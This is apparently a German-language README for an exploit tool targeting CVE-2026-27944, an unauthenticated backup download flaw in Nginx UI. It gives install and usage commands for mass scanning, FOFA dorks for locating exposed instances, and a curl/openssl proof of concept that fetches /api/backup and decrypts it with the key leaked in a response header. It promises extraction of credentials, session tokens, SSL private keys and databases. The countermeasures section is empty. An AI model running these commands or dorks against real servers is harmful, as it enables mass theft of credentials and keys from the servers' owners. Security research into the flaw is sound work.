
Suka suka lah
🚀 CVE-2026-27944: Nginx UI Unathenticated Backup Exploit
📌 Beschreibung
27944.py ist ein Exploit-Tool für CVE-2026-27944, das es Angreifern ermöglicht, Backups der Nginx UI ohne Authentifizierung herunterzuladen und zu entschlüsseln.
Die Schwachstelle besteht in Nginx UI Versionen < 2.3.2 und ermöglicht Zugriff auf:
· Benutzeranmeldeinformationen & Sitzungstokens · SSL-Private-Keys · Nginx-Konfiguration · Datenbankdateien
🔧 Funktionen
· ✅ Massenscan aus einer Zieldatei · ✅ Einzelziel-Exploit · ✅ Automatischer Backup-Download · ✅ Automatische AES-256-CBC-Entschlüsselung · ✅ Automatische Extraktion von Anmeldeinformationen aus dem Backup
🛠️ Installation
git clone https://github.com/bimabalance/CVE-2026-27944.git
cd CVE-2026-27944
pip install -r requirements.txt
🚀 Verwendung
python 27944.py -f targets.txt -o scan_results
python 27944.py -t target.com:9000 --exploit --decrypt
python 27944.py -f targets.txt --exploit --decrypt -o full_results
📋 Format der Ziele
target1.com:9000
192.168.1.1:9000
target2.com:8080
🎯 FOFA-Dork
title="Nginx UI"
icon_hash="-1565173320"
header="X-Backup-Security"
body="Nginx UI" && port="9000"
title="Nginx UI" && country="ID"
📂 Ausgabe
results/
├── results.json
├── target_backup.bin
├── target_backup_decrypted.zip
└── target_extracted/
├── app.ini
├── database.db
├── nginx.conf
└── ssl/
⚠️ Haftungsausschluss
Dieses Tool wurde zu Bildungszwecken und für ethische Sicherheitstests entwickelt. Der Autor übernimmt keine Haftung für Missbrauch dieses Tools. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie eine schriftliche Genehmigung zum Testen haben.
📝 Technische Erklärung
CVE-2026-27944 ist eine kritische Schwachstelle in Nginx UI, die es Angreifern ermöglicht, auf den Endpunkt /api/backup ohne Authentifizierung zuzugreifen. Das Backup enthält sensible Daten, die mit AES-256 verschlüsselt sind, jedoch werden Schlüssel und IV im HTTP-Header X-Backup-Security im Base64-Format übertragen.
CVSS-Score: 9.8 (Kritisch)
Betroffene Versionen: Nginx UI < 2.3.2
Gegenmaßnahmen:
💀 POC
# Schwachstelle prüfen
curl -I http://target:9000/api/backup
# Backup herunterladen
curl -s http://target:9000/api/backup -o backup.bin
# Backup manuell entschlüsseln
openssl enc -d -aes-256-cbc -base64 -K <key> -iv <iv> -in backup.bin -out backup_decrypted.zip